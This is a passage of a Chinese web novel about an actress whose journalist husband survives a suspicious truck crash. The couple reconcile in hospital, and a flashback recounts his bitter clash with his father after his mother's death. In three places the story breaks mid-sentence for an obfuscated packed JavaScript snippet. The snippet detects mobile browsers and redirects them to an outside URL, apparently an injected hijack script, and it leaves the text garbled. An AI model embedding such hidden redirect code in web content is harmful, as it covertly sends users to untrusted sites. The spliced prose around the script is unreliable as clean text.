邵聿合上笔记本,双手交叉放在身前,醇厚悠长的声音像是一杯百年纯酿,抚平了所有人毛躁的思绪。 “你也是,被施加了太多的期望,忙于理想、未来、蓝图,没有时间去想一想,自己想要的究竟是怎样的生活?” “杨律师,谢谢你帮我解围。”江知渺打开车顶的天窗,让清晨凉爽的微风吹散困意。 “不客气,倒是江女士您的选择令我很是意外。”杨灏偏过头,观察她的神情。 在没有观众的地方,她终于放松下来,随意地靠在头枕上。 “杨律师,您叫我知渺吧,我想我们都很熟悉了。”她稍稍调整了一下靠背的角度,慵懒地伸了个懒腰,“你觉得我会帮颜教授?” 杨灏眯起眼睛笑了笑,江知渺读懂了他的答案,轻笑了几声,说道:“看来,我的演技还不错,连律师都被我骗过去了。” “看来你很早就发现有什么不对了。” “也不算早,一开始只是觉得‘艺心’的氛围很奇怪,直到颜教授突然出现在火车站旁那个快捷酒店里,再加上听他们说起何思尔和冯炳的事,我才有了一些猜测。” 杨灏没有掩饰对她的赞同,点了点头,朝着写字楼的方向望去,“也不知道他们那边调查的情况如何,估计写字楼里信号不好,一直联系不上他们。” 江知渺坐起来,靠在方向盘上,用探究的眼神打量着他的一举一动,“那杨律师你呢?你是怎么想到要来‘艺心’的?” 这一晚发生的事情太多,杨灏差点忘了自己来的目的,不过一切还没有定论,他不打算盲目地全盘托出,尤其是对着自己的客户。 “我老婆一直在加班,已经连续一周睡在台里了,再不来她面前晃一圈,我怕她都把我这个老公给忘了!” 他咧开嘴大笑起来,夸张地挑着眉毛,脸颊和耳根还泛起微不可察的红。 江知渺被他这幅样子说服了,再一次感叹道:“你们俩的感情还真好啊!” “我倒是觉得,你和邵先生的感情也很深厚。” 五年的撕扯折磨堆积得无比深厚,除此之外,江知渺实在想不到他们俩之间,究竟什么能与这两个字相称。 她略带失落地挑了挑嘴角,“也许吧……” “嘀嘀——”停车场前方的柏油路上,自远方飞驰而来一辆黑色轿车,江知渺眯着眼睛,足足过了五秒才适应了那车速,也看清了车牌号: AX0591Y “是邵聿的车。”她飞快地告诉杨灏,随即松开手刹,猛地踩下油门。 然而下一秒,一辆巨型货车突然从对向车道冲过来,宛如失控的钢铁猛兽,直直地撞向黑色轿车! “砰——” 江知渺手里的白瓷碗砰然掉落,像是一朵洁白的荷花被风悄然吹落,花瓣四散分离。 她依旧保持着双手捧碗的动作,呆呆地站在餐桌前,连滚烫的热汤溅在脚背上都不曾察觉。 邵聿丢下一句话,扭头就走,视线划过桌上的烛光晚餐,没有一丝的留恋。 他站到玄关处,换上皮鞋时,江知渺终于感觉到皮肤的灼烧。 她迅速解下围裙,顾不得查看脚上的烫伤,直接冲到邵聿的身旁,本想去拉他的手,在触及到对方冰冷的目光后,转而抓住了他的手提包。 “我们谈谈吧。” “谈什么?” 江知渺从来没有听邵聿用这种冷漠的语气和自己说过话,她的心底一阵抽痛,可还是打起精神,“谈谈……我们。” 邵聿一动不动地站在大门前,手缓缓从把手上滑落,扭过头时,眼神中满是受伤。 “还有‘我们’吗?” 江知渺没法回答他的问题,有也好没有也罢,至少他们俩还好好地站在这个家里。 她固执地抓着他不放,按照她的经验,只要是她坚持的事情,邵聿总会向她妥协的。 不过这次好像真的不一样,他只是轻轻把她的手推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136236|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低声说道:“我回台里睡,你休息吧。” “然后呢?”江知渺的耐心被彻底消耗殆尽,为了向邵聿道歉,她特意跟表演老师请了假,提前回家,准备了一大桌子他爱吃的菜。 可他不但一筷子都没动,甚至回家也只是为了通知她:自己接下来一个月都住在台里的宿舍。 “你打算一辈子都不回这个家吗?”她的气息剧烈地起伏着,光是描述这个未来就让她感到痛苦。 邵聿沉默了足足有半分钟,“换做是你,你还会回来吗?” 他转过身,将手提包放在门口的柜子上,突然凑到她的面前,盯着她的眼睛,一字一句地问道:“如果,是我导致你永远不能做演员——” 江知渺随之屏住了呼吸,心底抗拒着他接下来的问题:“那么,你还能原谅我吗?” 不能。 她的大脑迅速给出了答案,意识到自己在想什么后,她的眼神开始下意识躲闪,不敢再去直视他的眼睛。 邵聿的眼中闪过片刻失望,很快,他就向后退去,再次打开房门,临走前,最后留下一句:“江知渺,没有人有义务完全为了你而活着。” 活着,我只要你活着。 江知渺在急诊室外焦急地踱步,心里不停为他祈祷。曾经的那么多奢望和渴求只剩下一句:我希望你好好活着。 活着,就算不爱我也好。 她忍不住去想,自己当年没有回归娱乐圈就好了。 其实她已经接受了被封杀的事实,两年都没有接到剧本,是她主动和邵聿提起,自己考虑去做个老师。 在邵聿告诉她,他有机会成为国立电视台早间新闻主播,但台里要求他的妻子不能是演员时,江知渺也主动提出放弃自己遥不可及的演员梦。 可事与愿违,她偏偏就是在那时遇到了修导,他愿意给她一次重新实现梦想的机会,就像是在她的面前放下白雪公主教母的毒苹果。 一半是她自己的理想,另一半是邵聿的。 江知渺将这五年的混沌时光不断压缩,回到那个咬下毒苹果的瞬间——假如她去咬没毒的那半,是不是邵聿就不会因为自己演员的职业而无法通过内部考核,失去梦寐以求的新闻主播位置。 不对,假如他们两人没有结婚,那么邵聿就不会因为私自在网上公布婚讯而被台里记处分,被电视台雪藏一年。 再或者,干脆他们根本都不认识,那么邵聿就可以娶一个贤惠顾家的妻子,正常地从记者慢慢升为新闻主播。 江知渺蹲在地上,双手捂住脸。她从来没有意识到,自己竟然完全改变了他的人生。 若是她没有出现在邵聿的生命里,他与VeilMansion就不会有任何关联,更不会因为调查与之有关的案子,被一辆横空飞出的大车撞到昏迷不醒。 为什么在每一个岔路口,都没有人告诉她哪条路是对哪条路是错,导致他们在错误的道路上越走越远。 分明是只能携手度过的独木桥,他们竟然还花了五年的时间相互伤害。 如果现在有人告诉她,他们的桥就到这里了,江知渺不敢去想,自己又该怎样为这五年而饮恨。 “邵聿的家属在吗?”急诊手术室大门打开,一位身着手术服的医生一边摘口罩,一边喊道。 “在!我是他的妻子。” 永远、只是他的妻子。 56. 劫后 “患者脑部受到撞击,有轻微的脑震荡,需要静养至少七天。身上还有一些皮外伤,我们已经做了处理,每天按时换药就行。等患者醒了,你们就可以回家了。” “啊?”江知渺难以置信地瞪大了眼睛。 她亲眼看着邵聿的车被那辆大货车迎面撞击,刚好撞的是驾驶室的位置,车子在原地转了好几圈,最后冲到了路中央的护栏上,发出响亮的轰隆声。 当时她和杨灏都吓傻了,直到大货车完全消失在道路尽头,他们俩才回过神来,一路奔向马路中央。 “邵聿!邵聿!!”隔着车窗,她一直在呼喊,可邵聿就像是陷入了冬眠,怎么也叫不醒。 车门被撞的严重变形,从外面根本拉不开,玻璃上留下一道道触目惊心的裂痕,安全气囊也早就弹出,将他毫无生命力地挤在驾驶位上。 江知渺的心底已经做了最坏的打算,她甚至绝望地想过,如果邵聿永远也醒不过来了,她就彻底息影,带着他去全世界各地求医,到没人认识他们的地方休养。 “医生,他真的没有其他的伤吗?用不用再仔细检查一遍?” 急诊室医生用诡异的眼光将她上下打量了一遍,显然是认出他们俩了,反问道:“没受伤还不好?” 好,当然好,好到她不敢相信。 她从来不算是运气好的那一类人,没想到在三十岁的年纪,所爱之人竟然能有死里逃生的幸运。 她几乎是热泪盈眶地握住医生的手,“好,好,谢谢医生,谢谢。等他醒来,我就带他回家。” “邵聿呢,邵聿怎么样了?”邵峥的声音从走廊尽头传来,伴随着皮鞋落地的声响,用发胶推到头顶的碎发全都被汗水浸湿,散落在额头上,看上去十分狼狈。 “小叔,慢点儿。”江知渺向前迎了几步,一把将他扶住,“医生说,是轻微的脑震荡,一会儿醒了就可以回家了。” “真的?”邵峥也露出了同样劫后余生的惊讶,不过很快他就长长地舒了一口气,紧绷的身体骤然放松,差点绊倒在地上。 “我一听说他出了车祸,就赶紧往这边赶,碰上早高峰,堵得一点儿也动不了,就跑过来了。”他还在大口喘气,“太好了,没事就好,没事就好……” 急诊室的大门完全敞开了,邵聿被几个护士推了出来,依旧是一动不动地躺在病床上,不过脸上的血污被擦拭干净,显得皮肤也有了几分正常的红润。 “邵聿……”江知渺坐在病床边,握着他的手,轻轻呼唤他的名字。 一旁的邵峥叹了口气,“唉,你们俩也真是的,一个两个都进医院,一周之前是你,现在是他,真不让人省心。” “我昏迷的时候,他也是这样守着我的吗?” “是啊,比你还邪乎,我看他还哭了呢。” “哭了吗……”江知渺迟疑地问道。 “可不是嘛,这小子我就没怎么见他哭过,当时可真是把我吓到了。我刚一进病房就看他对着你抹眼泪,你又没什么动静,吓得我还以为怎么了!” 想象着那个画面,江知渺只觉得心酸,她起身帮邵聿掖了掖被子,“医生应该告诉他了,只是安眠药的作用,那还哭什么。” “这我可得帮他说道说道了。” 邵峥搬了一把椅子,坐在江知渺身边,目光停在邵聿脸上,“只要是跟你有关的事情,他都特别上心,上心到有时候我都觉得他有点偏执。” “知渺”,邵峥突然正色道:“我这个侄子,从小到大也没有什么特别在意的人,除了他妈妈,就是你了。可能是因为他妈妈不在了,所以你在他心里就成了唯一在乎的人。” “如果……”他思考了几秒措辞,笑了一下,“我看得出你们俩心里还有对方,如果不是什么实在过不去的坎,就甭别扭下去了。” “就当是我倚老卖老吧,我是真希望你俩能好好的。” 其实不用他说,江知渺也早就想好了,在大货车与邵聿发生碰撞的一瞬间,她就想好了。 与生死相比,他们俩的心结似乎太过幼稚。抓着一些虚无缥缈连自己也想不通摸不透的执念,除了浪费彼此的人生,没有任何意义。 等邵聿醒来,如果他愿意扔掉那些执念,她也会毫无芥蒂地和他回到正常的生活里。 但倘若他放不下,江知渺也能理解他,不会再用一张结婚证拖着他的脚步。离婚带来的事业下滑、舆论争议她都可以承受。 只要邵聿能过得更好,比和她在一起要好。 “谢谢小叔。”江知渺乖巧地冲他点点头,“你说的这些,我也会和他好好谈谈的,不过还有一件事。” “肇事司机,对吧?”邵峥紧跟着她的话音问道:“有消息了吗?” “我让我的律师去交管局查监控了,目前得到的消息是,那是一辆普通的长途货运车,司机疲劳驾驶连续十二个小时,在发生车祸的时候睡着了,这才闯进对向车道。” “你信吗?” 江知渺和他站起身,到病房外小声地讨论,“当然不信。先是有谣言说他强迫采访逼死未成年人,在他进入发生坠楼的写字楼,刚完成初步调查,就发生了车祸,这一切未免也太过凑巧了。” “你觉得是有人故意为之?” 她点点头,“而且和那个散播谣言的应该是同一人。” 邵峥摸着下巴思考了一会儿,问她:“你需要我怎么做?” 江知渺神秘地凑近他的耳畔,低声说道:“我想请你帮忙散播一个消息,就说邵聿发生严重车祸,昏迷不醒,医生也无法给出明确的苏醒时间。” “将计就计?”邵峥挑了挑眉毛,“是个好办法。不过他会同意吗?他是在调查‘艺心’的路上被撞的,醒来肯定第一时间就要深挖,新闻的事情谁拦得住他。” “我试试吧。”江知渺已经从李璟意那里知道了“艺心”的事情,也清楚他们接下来的计划。 目前他们手里没有任何物证,虽然能靠推理VeilMansion的监控视频,推出冯炳与何思尔的确同时出现在42层,可也有很大的质疑空间。 当时在龙晴坠亡的写字楼里,听何思尔讲完自己的遭遇,邵聿当机立断,决定立刻前往冯炳的家中。 而李璟意带着刘恪辰和伍旸,继续在“艺心”跟踪警方后续调查的进展,尝试从“艺心”找到更多受害女孩,最好能挖出证明这些勾当的证据。 集团董事会一个紧急电话把邵峥叫走了,江知渺独自坐在病床前,怔怔地看着邵聿,心里却总觉得蹊跷: 进入写字楼调查的是四个人,如果说是想要堵住国立电视台的嘴,那为什么只对邵聿下手? 除此之外,一般大货车时速160km/h的撞击力足够将车撞飞,可这辆车却像是故意要擦肩而过似的,直冲邵聿的车而来,却在靠近后向右侧滑去,刚好擦过驾驶室的位置。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148037|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制造出惊魂时刻,却没有造成实质性的伤害,倒像是在……威胁和挑衅? 假如真的是要想埋藏“艺心”的事,那目前最有可能的罪魁祸首就是冯炳,可他好像并不知情。 按照柯妙妙传来的消息,他昨晚六点回到家后就再也没有出门,一直到今早八点才按照每天的常态,驱车前往学校。 如果不是冯炳,颜洪也在龙晴坠楼后就被警方控制住了,那就意味着,背后还有一个人。 他在默默观察着这一切,然后以四两拨千斤的巧劲,像是上帝伸出了点石之手,让事态变得愈发复杂。 既不是帮冯炳掩盖罪证,也没有帮邵聿他们找出真凶,这背后的人好像不属于任意一方,却有几分看戏者的戏弄。 江知渺握紧了邵聿的手,这种明知道背后有人在算计却无法看清面孔的感觉,总是让她有几分熟悉,江知渺条件反射地慌张起来。 “对,在医院。” “还没醒,医生说要再观察一段时间。” “好,谢谢你啊,妍姝。” 江知渺在病房外接完楚妍姝打来的电话,回来便看到邵聿摸索着从病床上站起来,脑震荡的余威还未消散,他剧烈地晃了一下,勉强扶住床架。 “别动!让你静养,起来做什么?回去躺好。”江知渺随手把手机扔到一边,大步跑到他身边,扶着他坐在床边。 “我想上厕所……” 邵聿无辜地眨了眨眼睛,江知渺心虚地松开了手,谁想他早就把一大半的重量都靠在了她的身上,这一松又要往地上栽,没办法,江知渺连忙将他拉了回来。 “你……自己能走吗?” 邵聿先是点点头,紧接着又用力地摇了摇头,见江知渺皱起眉头,急忙解释道:“你扶我走过去,我自己扶着墙就行。” 不知怎的,江知渺的大脑不受控制地联想了一下那个场景,耳根温度陡然升高,脸颊也开始发烫。 她咬了咬牙,扶着他站起来,“那你靠着我,慢慢走。” 这所二级医院的单人病房并不大,但从病床到洗手间短短五米的距离,江知渺愣是扶着他走了将近一分钟。 直到看着他站在马桶前稳住脚,这才猛地回过神来,帮他把门重重地关好,守在门外。 等冲水声结束,听到他呼唤自己的名字,江知渺又把门打开,扶着他走到洗手池边洗手。 接着,重复刚才的动作,一只手揽住邵聿的腰,另一只手抓住他的手臂,小心翼翼地把他搀扶到床上,全程都没有抬起头看他。 “怎么样,走了这几步,头还晕吗?”见邵聿的气息有些凌乱,江知渺伸手去探了探他额头的温度。 “比刚醒那会儿好多了。”说着,邵聿就开始往床头矮柜摸索。 江知渺看出他的意图,上前抓住他的手,塞回被子里,“医生说了,这一周都不允许你看手机。” 邵聿用乞求的眼神盯了她好久,也没等来一丝松动,干脆仰头望着天花板,长叹一口气。 “这样吧,你想看什么书,我给你读。”邵聿看着她手里不知从哪儿翻出的《新闻学概论》,熟悉的封面让他恍惚间以为自己回到了大学时期。 “知渺。” 江知渺正专心翻书,只听他叫了自己,可等了许久也没听到他的下文,于是疑惑地抬起头来,发现他正认真地盯着自己。 “你是不是对外宣称我醒不过来了?” 57. 复合 “你都听到了?” 江知渺本来就想找机会跟他解释,中午邵聿醒过来之后一直头晕,她就没有主动去提。 “我有个想法,想跟你说一下。”江知渺把靠枕拿过来,垫在邵聿的背后,让他舒服地倚在床头。 可还没等她说什么,邵聿立刻对她说:“就按你的想法去做吧。” 江知渺还在帮他整理靠枕,几乎是咫尺的距离,邵聿身上的消毒药剂味都能清晰地闻到。她愣了愣,缓缓坐回床边,轻声说道:“怎么不问问为什么?” 邵聿突然拉住了她的手,苏醒之后他的体温也略微上升,干燥温热的掌心带着一层薄茧,手指有意无意地摩挲她无名指上的戒指。 “我都听到了,昏迷这段时间,你跟我说的话。” 江知渺只觉得自他触碰的地方升起一股火焰,烧得她不由得低下头去。她紧紧地咬着下唇,像是情窦初开不小心暴露少女心事的女孩,不敢抬眼去看他。 “虽然睁不开眼也动不了,但我的耳朵可以听到声音,大脑也可以正常运转,所以你的那些心里话,我都听见了。” 邵聿也有些不好意思地笑了笑,“本来不想告诉你,只想自己悄悄去回味的,不过还是忍不住。” 这话说得,好像她说了什么羞耻的内容似的,江知渺佯装怒意瞪了他一眼,手掌反过来掐了他的手背一下,在皮肤上留下一块迅速消散的白。 “知渺,那些也是我想跟你说的。不过我的头好像还是很晕,理不清头绪,不能立刻把想说的都说出来。” “没关系,等你头不痛了,随时可以跟我说。” “但有一句话,我想必须要我先开口——”邵聿深深地吸了一口气,郑重地从床上坐起来,脊背挺拔地直立着,双眸闪烁着炽热的光芒。 “知渺,我们重新开始吧。” 无论过去发生过什么,没发生过什么,哪些清晰又有哪些模糊,所有悲伤的刺痛的受伤的过往,全都既往不咎,一笔勾销。 他现在只想把时间都留给那些情难自抑的爱,也许明天世界就会毁灭,也许明天他们就会变成两个穷光蛋,也许明天还有一颗早就埋下的定时炸弹,至少在今天,在这一分这一秒,真情也好假意也罢,他是邵聿,她是江知渺,他们两个是对方无可替代的爱人。 他不想再纠结于选择面包还是牛奶,他要像古希腊的哲学家一样,用诡辩去怒斥这个选择的荒谬之处,用怀疑去反驳这个选择的可疑之处,用苏格拉底式反问去回答这个选择带来的所有无解之问。 他们的确有着五年疏离的陌生时光,可从来没有人告诉过他,这五年是重新开始的不完美条件。所以只要他想,他就可以和江知渺一起,跳跃回一切尚未发生之日,然后用“爱”这个完美答案给这五年打上封条。 因为她也在乎,她也关心,她也挂念,她的祈祷连鬼神听了都要动容,而他只是肉体凡胎的尘夫俗子。 只要有这个就够了,邵聿在昏迷之中就已经下定决心,只要自己没有忘记她的祷告,那么无论是坦途还是泥淖,他都要拼命留住她,重新开始。 “好啊,我们重新开始吧。” 听到她的回答,邵聿笑了起来,忍不住在心底对那些有幸听到她真挚祈祷的死神炫耀说: 你们看,真的是她救了我。 他们在新西兰度蜜月时曾经补办过一个简陋的婚礼,没有亲朋好友到场,没有华丽的婚纱,没有悦耳的钢琴曲,只有神父笑着问他们,是否愿意与身边的人共度余生。 邵聿从未想过,在七年之后,还有机会与同一个人再次感受那个回答带来的过量的幸福,甚至失而复得,显得这句回答更加珍贵。 “对不起。” 他比任何时候都痛恨自己,这五年里他们本该每一天都像现在这样圆满的,可他却被一些说不清道不明的阴暗触手夺去了理智的控制权。 “是我该说对不起。”江知渺一开口,便是止不住的哽咽,“因为我,你才错过了当新闻主播的机会……” 邵聿释然地笑了起来,向她摊开双臂,江知渺顺从地握住他的双手,借着他的力坐到床畔,半倚在他的怀里。 “那些都没有你重要,别想了,都过去了,都过去了……” 他的声线像是幼儿频道晚间节目的主持人,温柔、和缓、谆谆善诱,轻柔地重复着“都过去了”,仿佛在讲述一个童话故事的结尾。 “公主和王子幸福地生活在了一起……”——留下无穷无尽的美好想象。 很快,肩上病号服就被江知渺的泪水浸湿了,她在无声地流泪。 邵聿心头一紧,习惯性地抬起手,用指腹为她擦拭掉眼泪。他没有劝说她停止哭泣,五年的心结骤然释放,就像矗立在河流上游的水坝轰然崩塌,总要给她一些时间,慢慢消化。 “邵聿,我真的没有出轨柏霆宇。”她静静地窝在邵聿的怀抱里,冷不丁丢出一句辩白。 邵聿双臂收得更紧了,呼吸也变得急促起来,他无法阻止记忆像触发了关键词一样为他输出关于江知渺与柏霆宇的画面,如魔咒一般,越是想要忘却就越是记忆深刻。 但他坚信自己是理智的,理智告诉他,江知渺是深爱着自己的,这些记忆统统都是误会罢了,一场旷日持久的噩梦而已。现在梦已经醒了,他不能再抓着梦境不放,而忽视掉眼前真真切切存在着的人。 “嗯,我知道,我相信你。” 他在对江知渺说,也在对自己说,是时候走出来了,既然关于江知渺的一切都已经得偿所愿,她又回到了自己的怀抱中,像只孤鸟躲进唯一的巢穴,只有自己才能给他庇护,那么又何必抓着她掉落的一根羽毛不放呢? 他迫切地需要确认,确认自己真的成为江知渺唯一的依靠,确认在占领她的世界的同时也被她占领。 邵聿低下头,唇瓣如同密集的雨滴,落在她的额头、耳畔、唇角,密集得让人喘不过气来,无法预测他下一步会吻在哪里,又会以怎样的力度贴近炙热的肌肤。 说不上温存的吻让江知渺的心一阵抽痛,她在邵聿毫无章法的吻中,体会到了他的慌乱和紧张:我们和好了吗?我们真的可以重新开始吗?我们还能够再次获得幸福吗? 他带着无数个不确定性和一捧真心来到她的面前,慷慨地暴露着自己的贪婪和脆弱,因为想要获得对方的真心而贪婪,因为付出了自己的真心而脆弱。 比起自己,江知渺知道邵聿更能体会失而复得的快乐与苦楚。他曾经搭建起属于他们两人的蓝图,然而就在任免公告下发的前一天,一切都被这图景中的另一个主角不假思索地只手捣碎。 那些无法与他感同身受的日日夜夜里,邵聿究竟是怎么支撑下来的,又是怎么在经历这一切之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173130|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还愿意捧出一颗真心的,江知渺不敢去想,只是想想都觉得自己太过残忍。 她用一只手撑住床垫,另一只手干脆利落地缠上邵聿的脖颈,主动仰起头,用自己的唇贴上他的,给他不安的灵魂安放一片久违的沃土。 轻蹭几下,感受到邵聿细微的震颤,她微微张开唇瓣,若有似无地含住他的下唇,以极慢极温柔的速度,温暖他微凉的唇瓣。 很快,交缠的空气变得黏腻炽热,她有些脱力,手臂支撑不住,顺势就要向下滑落,邵聿强势地揽住她的腰,让她完完全全地贴在自己的身前,没有一丝缝隙。 他好像终于夺回了主动权,惩罚似的轻咬一下她的唇瓣,在她感受到痛意想要抽身时,又强硬地将她锢在怀中,坚硬的牙齿替换成柔软的舌尖,仔细地占领每一个角落。 好像吻技下降了,江知渺不合时宜地想到。然而下一秒,似乎察觉到她的分神,邵聿忽然加快了掠夺的力度,勾起她的舌尖,在逼仄湿热的空间里起舞。 不留空隙,不留停息,他好像永远也不打算将她放开,漫长的热情的撩人的吻,让她几乎喘不过气来,头皮一阵阵发麻,快意被敏感的神经输送到身体的每一个末端,连指尖都在颤抖。 不能再这样下去了!江知渺的耳畔忽然响起医生细致的嘱咐,不能情绪波动不能剧烈运动,再这样下去静养的第一天就要泡汤。 她努力克制着继续与他缠绵下去的欲望,双手搭在他的肩膀上,几番推拒后才终于将两个人的距离拉开。 “所以——”江知渺收拾着梁栖月从她家里拿过来的换洗衣物,不时扭过头去查看他的情况,“下一步你打算怎么办?” 邵聿将手肘撑在桌板上,出神地望着她忙碌的背影,直到江知渺拿手在他面前晃了晃,才回过神来。 “唉,你真的不能再多呆几天吗?”邵聿叹了一口气。 江知渺双手环抱在胸前,不可思议地摇了摇头,“邵先生,如果你还记得的话,我正在拍戏,制片能同意我晚一天回去,已经很难得了。” “好吧……”邵聿伸了个懒腰,顺势又拉住了她的手,“你走了,这间病房里就只剩下我一个人了。” “这个你大可放心”,江知渺狡黠地笑了笑,突然从他的手中抽回自己的手腕,往后退了两步。 “我已经联系好了,小叔、李记者、还有刘恪辰会每人一天轮流来探望你,杨律师那边只要有空也会陪你来说说话,肯定——不会让你觉得孤单。” 邵聿这才明白她为什么反常地退后那么远,但他稍稍提高一点音量,脑袋里就像跑过千军万马一样,也只能懊恼自己中了她的美人计,“我真不该同意你的建议,说什么昏迷不醒。” “晚了”,江知渺忽然想起什么,掏出手机,打开拨号键盘递给他,“爸那边,我已经拜托小叔解释过了,让他老人家别着急,你要不要打个电话报平安?” 邵聿上扬的眉眼顿时垂落下去,脸色也晦暗不明,头扭向窗外,一副不理人的样子。 江知渺无奈地叹了口气,“这几年我也没顾上你和爸的事,都这么多年了,他身体也不好。老公,你还不肯主动低个头吗?” 她像是知道这样叫他就会让他心软似的,邵聿明知又是美人计,却还是忍不住心头颤了一下,抿着嘴唇,犹豫地说道:“他……知道我出车祸以后,是什么反应?” 58. 父子 “爸那边的情况,我也不知道。”江知渺不去看他,拿起一个苹果削了起来。 其实她的心里也觉得,邵聿的父亲对自己的儿子有点过于冷淡了。 她之前光顾着把邵聿昏迷的消息散播出去,又一心守在病床边等待他苏醒,忘了这个消息可能会传到邵聿父亲的耳朵里。还是消息发酵两个小时后,邵峥提醒她,她才突然意识到。 但那时邵聿刚醒,医生正在对他进行全面的检查,所以她拜托邵峥跟老人去解释一下,也不说得那么明确,只说是工作需要。 邵峥后来告诉她,邵聿的父亲听了并没有什么反应,只说“知道了”,就挂断了电话,像是听到什么陌生人的事情,毫不关心。 可毕竟是亲父子,江知渺不想看着他们两人误会越来越深,她比谁都知道,心结有多难解开。 或许是她削苹果的手颤了一下,让邵聿发现了端倪,他冷笑了一声,“我是死是活,他根本不在意吧。” 这话说得决绝,还带着几分愤怒,医生特意嘱咐过不能有剧烈的情绪波动,江知渺也只能拿些话来安慰他。 “你是他唯一的儿子,他不在意你的死活,还能关心谁的?别多想了,你好好修养,就算是让我也放心,可以吗?” 邵聿盯着拨号键盘,其实由于脑震荡的原因眼前还有些模糊,不过父亲家中的电话他就算是看不见也能拨出去。 他已经记不得自己多少次敲出那一串电话号码,又在沉默和沉思后缓缓删除得一干二净。 只是因为他不敢听到父亲的声音,一听见他说话,邵聿就会想起十二岁的那个夏天,这个声音乘着无线电流,越过辽阔的太平洋,告诉他: 小聿,你妈妈她,去世了。 邵聿刚刚在美国的交换寄宿家庭过完十二岁生日,跟着街区里同龄的男孩跳进池塘里疯玩,被叫回去接电话的时候还懵懵懂懂。等挂掉电话,连行李也来不及装,像一条丧家之犬,疯了一样地冲向机场。 他一个人在航班上哭得昏天黑地,把机长吓得差点紧急迫降,问他发生了什么,一句话也说不出来,只知道操着中式英语乞求:求求您,快点,我要回家。 终究还是太晚了,晚到连他妈妈的遗体都没来得及见最后一面。 眼泪在回来的路上哭干了,跪在墓碑前,他一下子退化成了无知无感的胎儿,除了渴求着母体的滋养,什么也不懂。 一个只有原始生存冲动的亚成年体是管不了那么多的,所以当邵永泽轻轻搭上他的肩膀,劝他不要再跪着,跟他回家的时候,他顿时跟自己的父亲有了血海深仇: 你为什么不哭?为什么不像我一样悲痛欲绝?墓碑之下埋葬的不是你的挚爱吗?她死了,你是不是反而觉得高兴? 而他回过头,发现母亲曾经是最好的朋友,正跟在邵永泽身后,用怜爱的目光望着他的时候,他再也控制不住如胎儿般只懂得维护母体的野蛮力量,一把将那个女人推向远处! 离远点!离我赖以生存的源泉远一点!我不懂人情,不论世故,我与这个世界唯一的联结就是今日下葬的这个女人。 “邵聿!” 他听到父亲的震怒,看到他伸出手去搀扶那个被自己吓了一跳的女人,闻到随着她后仰的剧烈动作而从衣袖间散发出若隐若现的香水味。 太荒谬了,他摇着头,一步一步向墓地外退去。 邵永泽用手指着他,刚要发作,那个女人就上来拦住了,还说什么“没事,我没事,小孩子不懂事,没关系的,以后慢慢就好了。” 他轻蔑地用余光瞥了她一眼,“我不许你再出现在我妈妈的墓碑前,给我滚。” 那是他第一次用这么粗鲁的语气和一个比自己大了二十多岁的成年人说话,母亲总是教导他要知情达理,尊敬长辈,她从来没在孩子面前说过一句过分的话,总是温温柔柔的。 邵聿曾经,也想成为她那样如水一般温和的大人。 然而,嚷出这句话,他突然开始怀疑,自己的基因里其实是不是遗传了来自邵永泽的恶劣因子,以前只不过是在母亲身边被规训住了。现在她不在了,这些黑暗的力量就迫不及待地掌控了他的大脑。 毫不意外,邵永泽是不会允许自己的儿子反抗他的权威的,他不顾尸骨未寒的妻子,狠狠地给了他一个掌掴—— “给邢阿姨道歉!” 道歉?他冷笑一声,斜睨着面前这个正值壮年的高大男人,他的父亲。 又是一个巴掌,火辣辣的触感让他以为自己的皮肤已经崩裂。 “老子还他妈管不了你了是吧?” “妈”这个字深深地刺痛了他的灵魂,他猛地抓住那只在自己面前指指点点的大手,一口咬了上去,怎么甩都不松开,使上了全身的力气,发了狠,遵循着本能,齿尖死死地嵌进皮肉里! 铺天盖地的拍打落在他的头上、脸上、身上,邵永泽的重击令他在皮肉疼痛的同时甚至尝到了一丝暴富似的快意。 你也会愤怒,也会痛苦,也知道被伤害了会疼,被爱着会感到幸福。那你为什么不愿意在我的妈妈、你的爱人临终之际,给她哪怕一丁点关爱呢? “别打了!别打了——”那个女人的尖叫令他心底一阵烦躁,他愈发用力地咬下去,血腥味在唇边迅速蔓延开来。 那我的母亲呢,她确诊胃癌晚期惊惧得彻夜难眠的时候,你在哪儿?她每次化疗结束全身无力到话都讲不动的时候,你在做什么?她连喝一口水都会痛得晕过去的时候,你有关心过一句吗? 他突然觉得很没意思,跟邵永泽继续撕咬下去实在太没意思了,无论他让邵永泽流多少血,都再也还不回他那个总是轻声细语小心翼翼的妈妈了。 邵聿送了口,下颌因为过度用力而严重麻木,他冷冷地瞪着邵永泽,丢下一句:“你不配做我的父亲。” 